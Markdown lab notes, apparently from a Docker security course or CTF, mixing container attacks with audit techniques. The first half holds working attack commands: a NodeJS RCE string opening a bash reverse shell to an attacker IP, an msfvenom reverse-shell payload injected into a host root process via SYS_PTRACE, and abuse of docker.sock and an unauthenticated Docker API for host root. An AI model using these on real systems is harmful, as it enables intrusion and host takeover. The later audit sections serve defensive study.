Skip to content

Latest commit

 

History

History
268 lines (229 loc) · 9.79 KB

docker-attack.md

File metadata and controls

268 lines (229 loc) · 9.79 KB

DOCKER FUCKER

to enumeate the container you are in:

for i in {1..254}; do (ping -c 1 172.19.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done

Attacking insecure volume mounts

i.e. exploiting NodeJS app with RCE, vulnerable w/ parameter "q" require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/<ATTACKER-IP>/<PORT> 0>%261"') pass it to url like... http://CTFVMIP?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/192.168.56.3/5555 0>%261"') now we have a shell - look for /var/run/docker.sock To access the host resource using the docker.sock UNIX socket. Run the following

./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock images

Namespaces

When you run a container, Docker creates a set of namespaces for that container.

  • The pid namespace: Process isolation (PID: Process ID)
  • The net namespace: Managing network interfaces (NET: Networking)
  • The ipc namespace: Managing access to IPC resources (IPC: InterProcess Communication)
  • The mnt namespace: Managing filesystem mount points (MNT: Mount)
  • The uts namespace: Different host and domain names (UTS: Unix Timesharing System)
  • The user namespace: Isolate security-related identifiers (USER: userid, groupid)

Namespaces Demonstration

docker run --rm -d alpine sleep 1111
ps auxx | grep 'sleep 1111'
sudo ls /proc/[pid]/ns/

PID namespace

  • PID namespaces isolate the process ID number space, meaning that processes in different PID namespaces can have the same PID
  • PID namespaces allow containers to provide functionality such as suspending/resuming the set of processes in the container and migrating the container to a new host while the processes inside the container maintain the same PIDs

For example, while running nginx docker container we always get PID 1 for nginx but at the host we see a different PID like 9989

docker run --rm --name=samplewebapp1 -d nginx:alpine
ps auxxx | grep nginx

docker exec -it samplewebapp1 sh
ps auxxx | grep nginx

Here we can see that both process have different pids in host system but inside container they both use pid 1

docker run --rm --name=samplewebapp2 -d nginx:alpine
ps auxxx | grep nginx

docker exec -it samplewebapp2 sh
ps auxxx | grep nginx

Attaching host processes to container

We can also pass or attach the host process namespace or any other container process namespace to container using the --pid flag docker run --rm -it --pid=host jess/htop

Capabilities

Processes (like web servers) that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service capability instead.

docker run --rm -it alpine sh
ping 127.0.0.1 -c 2

let's remove the CAP_NET_RAW capability and try again

docker run --rm -it --cap-drop=NET_RAW alpine sh
ping 127.0.0.1 -c 2

Checking for the list of capabilities

We can check the list of capabilities applied the container or system using the below command

docker run --rm -it 71aa5f3f90dc bash
capsh --print

Running the full privileged container

Run the below command to start a privileged container

docker run --rm -it --privileged=true 71aa5f3f90dc bash
capsh --print

It is possible to access the host devices from the privileged containers using more /dev/kmsg The /dev/kmsg character device node provides userspace access to the kernel's printk buffer.

sys_ptrace capability exploitation

Login to the container using below command. Ensure that you run this in the CTF vm docker exec -it sysmon bash Check for existing capabilities by running capsh --print Also the container has enabled --pid=host so we can access then host process using top command

Steps to attack

Generate reverse shell payload using metasploit's msfvenom program. Replace the 192.168.56.3 with student vm IP address.

cd /home/student/linux-injector
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.3 LPORT=4444 -f raw -o payload.bin

Send the exploit and injector program to the container using simple python server. Run the below command in student vm

cd /home/student
tar -czf linux-injector.tar.gz linux-injector
python -m SimpleHTTPServer 8002

Download the payload in the ctf vm container. Run the below command in the CTF vm and inside the sysmon container. Ensure you replace the 192.168.56.3 with your student vm IP

curl -o linux-injector.tar.gz http://192.168.56.3:8002/linux-injector.tar.gz
tar xzf linux-injector.tar.gz
cd linux-injector
chmod 755 injector
nc -lvp 4444

Now identify the process, which is running as root in the host system to gain root access for connect back. Run the following command inside CTF vm sysmon container

ps auxx | grep root | grep ping
./injector 2046 payload.bin

On successful injection of payload, we get a reverse connection at our listener with access to host system outside the container

Exploiting misconfigurations

The Docker daemon can listen for Docker Engine API requests via three different types of Socket unix, tcp, and fd. To access remotely we have to enable tcp socket. The default setup provides un-encrypted and un-authenticated direct access to the Docker daemon. It is conventional to use port 2375 for un-encrypted, and port 2376 for encrypted communication with the daemon. Attacker can abuse this by using the docker daemon configuration to access the host system's docker runtime

docker -H tcp://CTFVMIP:2375 ps
docker -H tcp://CTFVMIP:2375 images

and now we root ;)

Audit checks

Checking the checksum for the images docker images --digests ubuntu

Checking for content trust to get signatures

Content trust is disabled by default. To enable it, set the DOCKER_CONTENT_TRUST environment variable to 1

Checking the image issuers with docker trust

docker trust inspect mediawiki --pretty

We can use docker hub registry scanning, clair (Vulnerability Static Analysis for Containers) or vulners.

docker run --rm -it 71aa5f3f90dc bash
cat /etc/issue
dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'

then paste these packages in the vulners and see the list of known vulnerabilities

Checking for metadata, secrets and environment variables

We can check for these data using the docker inspect command on both images and containers

docker inspect <image name>
docker inspect <container name>

Looking the docker image history

Run the below command to show the history of a docker image. This will list the commands that were used for creating the image docker history custom-htop

Inspecting docker volumes

docker volume inspect 1e030154f4952361cec6c21e838a0fb617c7b7cc6359570407eb9f697b229b67

Looking for sensitive data and secrets

sudo -i
cd /var/lib/docker/volumes/1e030154f4952361cec6c21e838a0fb617c7b7cc6359570407eb9f697b229b67/_data
ls
grep -i 'flag' wp-config.php
grep -i 'password' wp-config.php

Listing and inspecting the docker networks

Docker by default creates it's own networking namespace when we use Docker Swarm or Docker Compose By default bridge, host, null networking options are available

Listing the docker networks

docker network ls

Inspecting the docker network

docker inspect wordpress_default

In this section, we will be using a simple unauthenticated docker private registry to perform security audit. We can check if the docker registry is up by running the following command in the student VM curl -s http://localhost:5000/v2/_catalog | jq .

Get the list of tags and versions of a docker image from the registry curl -s http://localhost:5000/v2/devcode/tags/list | jq .

Downloading a registry image locally docker pull localhost:5000/devcode:latest

Reviewing the container for sensitive data and hard coded secrets

docker run --rm -it localhost:5000/devcode:latest sh
cat /.aws/credentials
```

Lets check the default docker daemon configuration. This prints the default username and registry used by the docker run time docker system info Lets look for the configured registries from the host. The credentials may authorize us to pull and/or push images to the registry cat ~/.docker/config.json

Auditing Docker Runtime and Endpoints

Checking for the docker daemon configuration docker system info  Looking for the global events generated by the docker runtime docker system events  Checking for the docker API exposed on 0.0.0.0 sudo cat /lib/systemd/system/docker.service  Checking if the docker socket is mounted to any running container docker inspect | grep -i '/var/run/'

Checking other files and data related to docker sudo ls -l /var/lib/docker/

Docker integrity check for containers

We can list the changed files and directories in a containers file system There are 3 events that are listed in the diff A - Add D - Delete C - Change

Demonstration Let's run a ubuntu container and perform some changes

docker run --name checkintegriy  -it ubuntu:latest bash
mkdir -p /data/output
echo "modifed this stuff" > /.dockerenv
exit

Now lets see the diff using the following command docker diff checkintegriy

Docker Bench Security Audit

  • Host configuration
  • Docker daemon configuration and files
  • Docker container images
  • Docker runtime
  • Docker security operations
  • Docker swarm configuration
  • Running docker bench security

Now lets perform the audit

cd /opt/docker-bench-security
sudo bash docker-bench-security.sh

amicontained

This is a container introspection tool that lets you find out what container runtime is being used as well as the features available.

Docker container running with no privileges docker run --rm -it r.j3ss.co/amicontained -d  Docker container running with host privileges docker run --rm -it --pid host r.j3ss.co/amicontained -d

Docker container running with apparmor profile security options docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained -d